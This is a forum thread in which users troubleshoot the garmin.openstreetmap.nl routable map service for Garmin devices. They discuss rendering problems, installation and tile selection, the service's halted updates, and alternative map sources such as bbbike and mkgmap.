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- Re: Worldwide routable Garmin maps: URL REMOVED · steerage250 (Gast) · 29.04.2020 00:59 · [flux]
Thanks for that suggestion ligfietser, but I liked the maps I have been getting because they could be used for car, bicycle and pedestrian navigation. Whereas the Openfietsmap says they can't be used for car navigation.
- Re: Worldwide routable Garmin maps: URL REMOVED · k_b (Gast) · 01.05.2020 09:11 · [flux]
Hi.
The garmin.openstreetmap.nl is a superp help for anyone using maps on a garmin device.
When generating custom maps (selecting individual tiles) the generated map always gets family ID 2000.
Would it be possible to add an option (or advanced option) on the webpage for the person requesting the map to add their own family id?
This would then be used when generating the map.
This i believ would greatly help when generating multiple maps (which may overlay a bit) and placing them on the device or SD card.
Instead of the risk of blanking out certain areas maps would be visible. - Re: Worldwide routable Garmin maps: URL REMOVED · steerage250 (Gast) · 01.05.2020 11:41 · [flux]
I'm only a novice on all the tricky bits about Garmin maps, but I do know that by using JaVaWa GMTK, I can easily change the family ID - but that is for files on the computer viewed with MapSource and BaseCamp. (Not sure whether it's going to help if you're just getting img files to stick directly on an SD card.)
- Re: Worldwide routable Garmin maps: URL REMOVED · colinsmith123 (Gast) · 10.05.2020 09:03 · [flux]
Hi there. I have tried on a few occasions to receive an email with my manually selected tiles for the past two weeks. I am following the onemanengine instructions to the letter. routeable bicycle etc. This has worked for me in the past. My email address is correct (Hotmail) and I have also tried another email address. I get the webpage opening tell me I'm X in the queue.
Any help greatly appreciated.
Regards
Colin
- Re: Worldwide routable Garmin maps: URL REMOVED · BCNorwich (Gast) · 10.05.2020 10:40 · [flux]
The service does work, have you checked to see if the download email has been diverted to your junk or spam email folder on your PC. Failing that check your Hotmail account online.
Regards Bernard. - Re: Worldwide routable Garmin maps: URL REMOVED · Mihaly Vukovics (Gast) · 11.05.2020 11:09 · [flux]
Hello Guys!
If am facing a small but frustrating issue: I need to use bigger maps that 2Gigs, travelling accross Eurpe. I am planning my trips in mapsource/basecamp but cannot install both windows maps, as the name of the application (OSM Generic routable) is the same for both, and the installer says it's already installed.
I would by nice to have some generated or user input unique ids in the installer/application name.
Can I fix that somehow, or can you develop a feature like that?
Thanks! 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · steerage250 (Gast) · 14.05.2020 01:33 · [flux]
steerage250 wrote:
Sometime after April 1st, the rendering of paths has changed in the gmappsup.img files. They are now rendered as transparent/white - and basically invisible unless the path is passing through a coloured area. When I download the Windows installable file and view the maps in MapSource, paths are the usual dark lines.
This is a problem !
Further experimenting shows that although the paths render as dark lines in MapSource or BaseCamp, if they are then downloaded to the GPS using MapInstall, they render as white lines (same as if the .img version of the map was loaded directly to the SD card).
- Re: Worldwide routable Garmin maps: URL REMOVED · Marcin Grzegorzek (Gast) · 18.05.2020 12:55 · [flux]
Hi,
question about course routing using Garmin Edge (Edge 830 in my case) devices.
Checking all possibilities, but routing for MTB bike uses mostly main roads. Any clue how to make the routing usable for MTB bike using the OSM downloaded maps? - Re: Worldwide routable Garmin maps: URL REMOVED · steerage250 (Gast) · 21.05.2020 05:31 · [flux]
steerage250 wrote:
steerage250 wrote:
Sometime after April 1st, the rendering of paths has changed in the gmappsup.img files. They are now rendered as transparent/white - and basically invisible unless the path is passing through a coloured area. When I download the Windows installable file and view the maps in MapSource, paths are the usual dark lines.
This is a problem !
Further experimenting shows that although the paths render as dark lines in MapSource or BaseCamp, if they are then downloaded to the GPS using MapInstall, they render as white lines (same as if the .img version of the map was loaded directly to the SD card).
The solution to my problem has been to switch to the "Generic Routable (new style)" maps, which show the paths in dark lines.
- Re: Worldwide routable Garmin maps: URL REMOVED · Drokthwart (Gast) · 24.05.2020 15:50 · [flux]
The Windows to Basecamp exe installer file is designated as dangerous by Windows and is blocked from reception to execution. What can be done? I want to examine the Map in Basecamp before I trial it on my Touch 35 device.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.05.2020 09:09 · [flux]
You can use the _macosx.zip (not only for Mac OSX but also for Windows)
Unzip it and place the .gmap folder to the default Garmin map folder. Default map folder is C:\ProgramData\GARMIN\Maps or C:\Users{user}\AppData\Roaming\GARMIN\Maps (please note this is a hidden folder!). Or you can use http://www.javawa.nl/gmtk_en.html to install the gmap maps. - Re: Worldwide routable Garmin maps: URL REMOVED · NextGenerat (Gast) · 24.06.2020 20:32 · [flux]
Hello, how can I download a nautical map, since I do not check the option, thank you.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 26.06.2020 06:14 · [flux]
That option does not work, I dont know why it is even there.
Better search on a different site, openseamap.org? - Re: Worldwide routable Garmin maps: URL REMOVED · steerage250 (Gast) · 28.06.2020 11:53 · [flux]
Drokthwart wrote:
The Windows to Basecamp exe installer file is designated as dangerous by Windows and is blocked from reception to execution. What can be done? I want to examine the Map in Basecamp before I trial it on my Touch 35 device.
Just go ahead and install it.
- Re: Worldwide routable Garmin maps: URL REMOVED · steerage250 (Gast) · 28.06.2020 11:57 · [flux]
It seems the "Generic routable (new style)" is not incorporating new OSM data. I have been downloading and downloading over the last few weeks waiting for changes I made to be visible in the downloaded maps. In frustration, I finally downloaded a "Generic routable" version (ie not "new style") and all the changes were there!
This is bad news for me because using the "new style" was my solution to the plain "Generic routable" type now rendering paths as (usually invisible) white lines.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 29.06.2020 09:29 · [flux]
Yes, I think there is something broken during map compilation, please report it directly to Lambertus the owner of that site, as he won't read this forum: osm at na1400 dot info
- Re: Worldwide routable Garmin maps: URL REMOVED · elchaca (Gast) · 03.07.2020 16:44 · [flux]
Good morning, I wanted to know what possibilities there are to modify for Argentina because if one needs to look for an address where it is the autonomous city of Buenos Aires, it appears in English and by commune, which makes it difficult to find addresses and streets. The idea would be to replace autonomous city by city of buenos aires thank you very much sorry I'm using a translator
- Re: Worldwide routable Garmin maps: URL REMOVED · muralito (Gast) · 05.07.2020 00:52 · [flux]
elchaca wrote:
Good morning, I wanted to know what possibilities there are to modify for Argentina because if one needs to look for an address where it is the autonomous city of Buenos Aires, it appears in English and by commune, which makes it difficult to find addresses and streets. The idea would be to replace autonomous city by city of buenos aires thank you very much sorry I'm using a translator
- Re: Worldwide routable Garmin maps: URL REMOVED · Phil Rosa-Leeke (Gast) · 06.07.2020 11:18 · [flux]
Hi there,
I do not know if the following has been talked about already, so sorry if it has. I just installed the OSM Routable map for Portugal onto my Montana 610 and the other evening when I turned it on (after sunset) instead of a completely dark map, it came up in black (for the buildings I think) and the rest white! I thought at first it was the unit playing up, but then I enabled the Garmin City Nav map and all was as it should be. Don't the OSM maps have a working "night" function?
One more thing, the following message has popped up in JaVaWa Device Manager: Error: segment codes from this file reside in other files. This will cause problems with routing and/or displaying maps.
Thanks in advance,
Phil
- Re: Worldwide routable Garmin maps: URL REMOVED · Trëllert (Gast) · 10.07.2020 23:12 · [flux]
Site is since a few days, hope it will be up again soon.
I now see how I need and miss this site... so I won't forget to donate as soon it's back, hope you guys will consider too.
Cheers - Re: Worldwide routable Garmin maps: URL REMOVED · TomG27 (Gast) · 19.07.2020 23:37 · [flux]
Hello! Quick question.
I have a Garmin 520 (no expandable storage), so I always choose as few tiles as possible when downloading new maps. But recently, when I select my state (in the US), I can't de-select the tiles I don't want...and the map is too large for my GPS.
There used to be an option to select the tiles you wanted manually, but now it's been replaced with "perhaps you'd like to select more tiles" and an option to reset your selection.
Any tips on what I'm doing wrong? Thanks so much!
- Re: Worldwide routable Garmin maps: URL REMOVED · rory_070707 (Gast) · 26.07.2020 18:43 · [flux]
Hi,
I am a Garmin 520 user and so can only download a few tiles at a time for them. As the servers are down at the moment I only have the option to download all of France which my Garmin doesn't have the memory for. When will the servers be back up and running like normal so i can download just a few of the France tiles that I need.
Rory. - Re: Worldwide routable Garmin maps: URL REMOVED · rienbreg (Gast) · 01.08.2020 21:13 · [flux]
For some weeks it is not possible to download a part of for example France. Now I dedided to download then the map of the complete country, but unfortunately the download will not start. Does somebody know when this will work again?
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 05.08.2020 12:59 · [flux]
Pick a site which works for you from here
https://wiki.openstreetmap.org/wiki/OSM … n/Download - Re: Worldwide routable Garmin maps: URL REMOVED · fudoose (Gast) · 23.08.2020 00:07 · [flux]
Hi so I'm trying to get a map on to my GARMIN 520, it was always easy with http://garmin.openstreetmap.nl/ but now that's not working I'm having trouble.
So I download the map I want from https://extract.bbbike.org/ (it's only a small map so storage, isn't an issue)
I've tried the options Garmin cycle and Garmin openfietsmap both LATIN AND UTF-8
Then I just drag the image file to the GARMIN device folder and rename to gmapbmap.img (I deleted the old file already)
But I haven't managed to get a map image to display on the device.
Is there any step I'm missing or something anyone can see that I'm doing wrong.. thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.08.2020 08:52 · [flux]
Don't delete gmapbmap.img - this is the background map that your garmin needs, it is essential and should never be deleted! Just copy the gmapsupp.img to the garmin device folder was all you had to do, maybe rename it to anything.img but gmapbmap.
- Re: Worldwide routable Garmin maps: URL REMOVED · tom86_ (Gast) · 23.08.2020 10:04 · [flux]
Hi there,
I have a problem with copying the OSM that has been already installed in Basecamp to the Garmin 60csx. Even though the map is detailed in the Basecamp and working properly, the program copies it in such a way that only highways and lakes are visible on the device (on a white background for this area).I‘m using that way (from Basecamp to Garmin) to copy tiles because I do not have the gmapsupp.img file of this area anymore and I cannot download it anymore because garmin.openstreetmap.nl doesn‘t work (only whole countries are available).
Does anyone have any idea why I cannot copy this map? As I said, I have the whole map but not in the single .img file. Maybe there is a way to make it.
Thank you for your help.
- Re: Worldwide routable Garmin maps: URL REMOVED · fudoose (Gast) · 25.08.2020 01:10 · [flux]
ligfietser wrote:
Don't delete gmapbmap.img - this is the background map that your garmin needs, it is essential and should never be deleted! Just copy the gmapsupp.img to the garmin device folder was all you had to do, maybe rename it to anything.img but gmapbmap.
Thanks for the help but this was the guide I used before and it worked, I just cant figure out waht I;m doing wrong..
1) Download the map section of interest per the ‘Part 1: Downloading the Maps’ section (again for the Edge 520, remember to keep it small*: See note at end of this section!).
2) Plug-in your Garmin Edge 520 to your computer.
3) Within the \Garmin folder on the Edge 520, you’ll find the gmapbmap.img file (Disc Image File). Make a backup copy of this on your computer for long-term safe keeping.
4) Within the \Garmin folder on the Edge 520, delete the gmapbmap.img file (after you’ve copied it elsewhere). Note: If on a Mac, you must now empty your Trash bin, otherwise you won’t reclaim the free space. This is not required on Windows.
5) Copy the gmapsupp.img map file you downloaded into the \Garmin folder on your Edge 520.
6) On the Edge 520, rename that map file gmapsupp.img to gmapbmap.img – don’t worry if you can’t see the .IMG extension, just rename it to gmapbmap, like below. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.08.2020 12:47 · [flux]
Oh ok, maybe because the disk space on the Edge 520 is so small that it will only contain the basemap.
I have no idea why it won't work anymore, sorry. - Re: Worldwide routable Garmin maps: URL REMOVED · DrTron (Gast) · 07.09.2020 21:10 · [flux]
Hello Everybody!
Since I have not really found the answer, here my question:
Does anyone know how often the maps generated on "http://garmin.openstreetmap.nl/" are synced to OSM?
Just asking because I have found a lot of errors around here where I live (Central Mississippi, USA), such as unconnected roads that actually are connected and such) and have made the appropriate edits to OSM. There those roads are ok now, but I use the openstreetmaps.nl maps for my Garmin, and my edits are not reflected there, even those made months ago...
Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 08.09.2020 09:03 · [flux]
Hi DrTron
at the bottom right of the big blue map at on http://garmin.openstreetmap.nl/ the last update is "Map version: 20-06-2020"
I assume the country maps were updated then.
Lambertus in recent times when everything was running fully he was updating about once per month but since then it has become less frequent.
Your edits won't be reflected in these maps until they are updated.I suggest you try other versions of Garmin suitable maps as listed here https://wiki.openstreetmap.org/wiki/OSM … n/Download
There are a variety of choices on the Bbbike site https://extract.bbbike.org/ and it operates very reliably and the update cycle is weekly.
You can find when it was last updated by referring to point 7 on the faq listed at the end of the help page, specifically here https://download.bbbike.org/osm/planet/The HOT export tool https://export.hotosm.org/en/v3/also has very up to date data available for download in a Garmin suitable format.
Another solution if you don't find a suitable map provider is to make your own by downloading a pbf of the area you want from Geofabrik https://www.geofabrik.de/geofabrik/ which is probably updated daily and then using mkgmap http://www.mkgmap.org.uk/ to make your own maps. It's a steep learning curve and complex at first but once you have it worked out and done a couple of updates it will seem simple and you can run the program to produce a new map quite quickly from the command line.
- Re: Worldwide routable Garmin maps: URL REMOVED · DrTron (Gast) · 09.09.2020 00:33 · [flux]
Thank you very much for the information, I totally missed that there is a date.
As the maps one can download are generated more-or-less on the fly, I somehow assumed that they directly accessed the OSM database or that the update was scripted and therefore must be up to date. I now see it's not that way.But that site's not the only one, I see outdated maps on quite a few sites out there using OSM.
I'll have a look around to see what's out there (I use the maps for motorcycling, so bike-friendly topographic maps (which there are a lot out there) is not what I need, but if all fails I'll just have to build my own maps as suggested. I'm a Linux user, so a commandline tool is nothing new for me.
- Re: Worldwide routable Garmin maps: URL REMOVED · michle38 (Gast) · 13.09.2020 20:16 · [flux]
Hello,
I am using http://garmin.openstreetmap.nl/ to download the latest version of the map of France.
I realize that the version is old and from June 20.
It seems that it is no longer updated.
the problem is the same for other countries.
Thank you for your comeback. - Re: Worldwide routable Garmin maps: URL REMOVED · Biker69 (Gast) · 23.09.2020 05:35 · [flux]
Hi, Same to me:
Sorry, due to server problems only country maps are currently available. You may need to refresh the browser cache first (CTRL-F5).
Anyone has an idea or information when this Issing will be resolved?
- Re: Worldwide routable Garmin maps: URL REMOVED · Sandal man (Gast) · 23.09.2020 09:28 · [flux]
I don't think there is any maintenance on the map.
Better look for a alternative. - Re: Worldwide routable Garmin maps: URL REMOVED · DrTron (Gast) · 23.09.2020 13:27 · [flux]
Sadly, I have yet to find an alternative where one can get both the maps for the device plus the installer for Basecamp.
Short of building your own map, I've not gone this route yet. -
- Re: Worldwide routable Garmin maps: URL REMOVED · grafwilhelm12 (Gast) · 27.10.2020 13:05 · [flux]
When will custom maps be available again?
Currently only country maps are available, additionally I found that some country maps do work in Basecamp but not in Garmin devices via sd-card. - Re: Worldwide routable Garmin maps: URL REMOVED · Maarten Deen (Gast) · 28.10.2020 09:06 · [flux]
Don't expect that happening on this website since the maintainer does not respond.
- Re: Worldwide routable Garmin maps: URL REMOVED · jerre_be (Gast) · 03.11.2020 18:23 · [flux]
I used http://garmin.openstreetmap.nl/ for creating small maps for my garmin 520, as it has only +-100MB of storage for maps.
I tried other sites, but did not work for me.BUT, if you select your country on http://garmin.openstreetmap.nl/ on the left you will see a list of all the tiles used and you can download the individual tiles. For Belgium it was 53 tiles and it took me a while to map the tiles to a screenshot of the map from http://garmin.openstreetmap.nl/
Using the mkgmap I'm able to combine the tiles I need for my next ride.
Would be nice that you could download the tile by clicking it on the map, so that I don't need to figure out the correlation between the tile on the map and the .img file.
Or is there another way to find out this information? - Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 03.11.2020 21:31 · [flux]
Since you already use mkgmap you might as well generate the map on your own.
- Re: Worldwide routable Garmin maps: URL REMOVED · skinnie (Gast) · 19.11.2020 12:05 · [flux]
Hello all,
First of all, thanks for this great maps.
On my etrex 30x they go very well.
I have just some doubts regarding routing options:
On the etrex 30x, with this map, I should not Don't avoid highways/motorways right?
Because Motorways and other roads that are blocked for cyclists are non routable. like stated herehttp://www.openfietsmap.nl/tips-tricks/routing-errors right?Is this the same for Edge 530?
Thank you a lot - Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 19.11.2020 12:36 · [flux]
Depends on the selected map type. Only if you use "Routable Bicycle" you should follow those hints.
- Re: Worldwide routable Garmin maps: URL REMOVED · skinnie (Gast) · 19.11.2020 13:14 · [flux]
GerdP wrote:
Depends on the selected map type. Only if you use "Routable Bicycle" you should follow those hints.
Sorry, I missed to say that, Routable Bicycle (Openfietsmap Lite) yes.
Thank you for the info.
Do you know if for https://extract.bbbike.org/ using Garmin (OSM) the behaviour is the same? - Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 19.11.2020 13:35 · [flux]
No, "Garmin (OSM) "is probably the mkgmap default style, which is not bicycle specific, but bbbike also offers maps with the openfietsmap style.
- Re: Worldwide routable Garmin maps: URL REMOVED · skinnie (Gast) · 19.11.2020 19:21 · [flux]
GerdP wrote:
No, "Garmin (OSM) "is probably the mkgmap default style, which is not bicycle specific, but bbbike also offers maps with the openfietsmap style.
When you talk about style is the type of routing right?
Because, regarding looks I prefer this garmin version. - Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 19.11.2020 19:32 · [flux]
It's not only the look. The style also sets routing attributes. For example, the cycle maps typically will not allow to use motorways. They may route cars over cycle ways because car mode means "racing bike". So, if you want to use the routing functions for car traffic cycle maps are a bad choice. The maps are produced with program mkgmap, see http://www.mkgmap.org.uk/ for more details.
- Re: Worldwide routable Garmin maps: URL REMOVED · DENelson83 (Gast) · 17.12.2020 07:33 · [flux]
It seems this resource has not been updated in nearly half a year. The latest data available is from 20 June 2020.
- Re: Worldwide routable Garmin maps: URL REMOVED · Maarten Deen (Gast) · 18.12.2020 09:16 · [flux]
You have said what numerous people before you have already said. The maintainer does not respond to attempts to contact him so do not expect an update anytime soon.
- Re: Worldwide routable Garmin maps: URL REMOVED · nikusha (Gast) · 18.12.2020 13:18 · [flux]
Bbbike map is good alternative. Very similar render. For off-roading I use opentopomap.
- Re: Worldwide routable Garmin maps: URL REMOVED · monviso (Gast) · 07.01.2021 19:49 · [flux]
Does anyone know the mkgmap parameters and TYP-file to create a map just like maps from this website?
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- Re: Worldwide routable Garmin maps: URL REMOVED · monviso (Gast) · 07.01.2021 20:39 · [flux]
Great, many thanks!!!
- Re: Worldwide routable Garmin maps: URL REMOVED · xuyanhai8888 (Gast) · 20.01.2021 02:33 · [flux]
good
- Re: Worldwide routable Garmin maps: URL REMOVED · GigaBowser (Gast) · 24.01.2021 04:12 · [flux]
I am very confused... I've downloaded OpenStreetMap data from http://garmin.openstreetmap.nl/ twice before. Today I noticed that we had ventured "off the map" so I went back to that site to update the maps again. I did as I usually do, I took all the .img files and put them into my Garmin's "Garmin" folder. But, instead of the maps being updated, they're all GONE. Now there's no maps at all on my Garmin.
I see now talk about the site being abandoned or whatever, but why would that erase my maps completely instead of just giving me out-of-date maps? I don't know what I did and I don't know how to fix it...
- Re: Worldwide routable Garmin maps: URL REMOVED · klausmong (Gast) · 02.04.2021 09:15 · [flux]
Does anyone know what happened with Lambertus?
The garmin.openstreetmaps.nl is just working with country maps due to server problems.
but its like this since last year.
Does anyone know, if this might be fixed againß+?
- Re: Worldwide routable Garmin maps: URL REMOVED · Maarten Deen (Gast) · 02.04.2021 11:03 · [flux]
Unfortunatly no. Lambertus was very active in the dutch community but he does not respond anymore and I don't think anyone knows him personally. So we don't know what happened and you can assume that this service will not be fixed.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 02.04.2021 11:13 · [flux]
I've tried to contact him recently when I got issues with the Wuppertal server (my maps are hosted there too) but unfortunately he didnt respond. Tried several mail adresses and even phone numbers. 🙁 Eventually I contacted maintainer of the server in Wuppertal who could help me out, but he also couldn't reach him anymore. So I assume we have to accept this service is stopped permanently.
However, there is an alternative: https://extract.bbbike.org/
Custom areas, weekly (or daily?) updates, lots of other styles, only garmin device img extracts though (no Basecamp versions).
- Re: Worldwide routable Garmin maps: URL REMOVED · klausmong (Gast) · 02.04.2021 11:38 · [flux]
Thanks for the response.
What i liked a lot, was the design it the bigger symbols like I know in Garmin cards.
I also use the "Freizeitkarte", and they are perfect, but its hard with the small symbols or Hotels etc...I will take a look at the bbbike sides.
thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · klausmong (Gast) · 02.04.2021 11:42 · [flux]
And what I really miss, the selection of the tiles to create a own map.
For example, I travel Russia, Mongolia and the Stans, so I can create a map for this region, and don't need to download 10 countries and change them on the SD card
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 02.04.2021 12:51 · [flux]
You will be pleased to know you can draw your own polygon shape to download a tailored area of your choice using Bbbike.org
https://extract.bbbike.org/ - Re: Worldwide routable Garmin maps: URL REMOVED · klausmong (Gast) · 03.04.2021 07:55 · [flux]
I just tried and found out, this is just for the Device ( in my case Garmin )
I can download img data.But it is not possible to download maps for software like basecamp.
That was the big bonus on the site from Lambertus.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.04.2021 10:59 · [flux]
You can connect your device to the computer, or create a virtual drive and view the maps from there with Basecamp. Another workaround is to use my osmcombiner tool to create one bigger installable map for Basecamp from several gmapsupp.img's
http://osm.pleiades.uni-wuppertal.de/op … eadme.html This method has one big disadvantage, it lacks an overview map for lower scales, so you have to zoom in to view the map. - Re: Worldwide routable Garmin maps: URL REMOVED · klausmong (Gast) · 03.04.2021 11:24 · [flux]
Thanks, thats what I am looking for, to combine.
I will try your tool.
Thanks 😎 - Re: Worldwide routable Garmin maps: URL REMOVED · bessone (Gast) · 06.04.2021 11:27 · [flux]
Unfortunately, with http://garmin.openstreetmap.nl/ death, I also found myself with the map problem for my Garmin Etrex.
Every time I find errors on my bike I go to correct them on OSM and then I love to find updated maps on Garmin.I tried https://extract.bbbike.org/ but with the map size limitation it is not a viable alternative, I found http://www.freizeitkarte-osm.de/ and am starting to try it.
- Re: Worldwide routable Garmin maps: URL REMOVED · ivss_xx (Gast) · 26.04.2021 00:46 · [flux]
bessone wrote:
Unfortunately, with http://garmin.openstreetmap.nl/ death, I also found myself with the map problem for my Garmin Etrex.
Every time I find errors on my bike I go to correct them on OSM and then I love to find updated maps on Garmin.I tried https://extract.bbbike.org/ but with the map size limitation it is not a viable alternative, I found http://www.freizeitkarte-osm.de/ and am starting to try it.
I was also using the .nl maps before but now I have completely switched over to https://garmin.opentopomap.org/
At first it was a bit of an adjustment to get used to the color scheme but I'm loving it now. And more features. - Re: Worldwide routable Garmin maps: URL REMOVED · En3route (Gast) · 05.05.2021 09:03 · [flux]
RE: for worldwide coverage on http://garmin.openstreetmap.nl and hope to update these each week
I downloaded country maps .img new style for various in europe in April 2020I re downloaded the same maps to update my satnav and ALL the maps are the identical size to those which I had from a year ago.
Are these no longer updated please?
thank you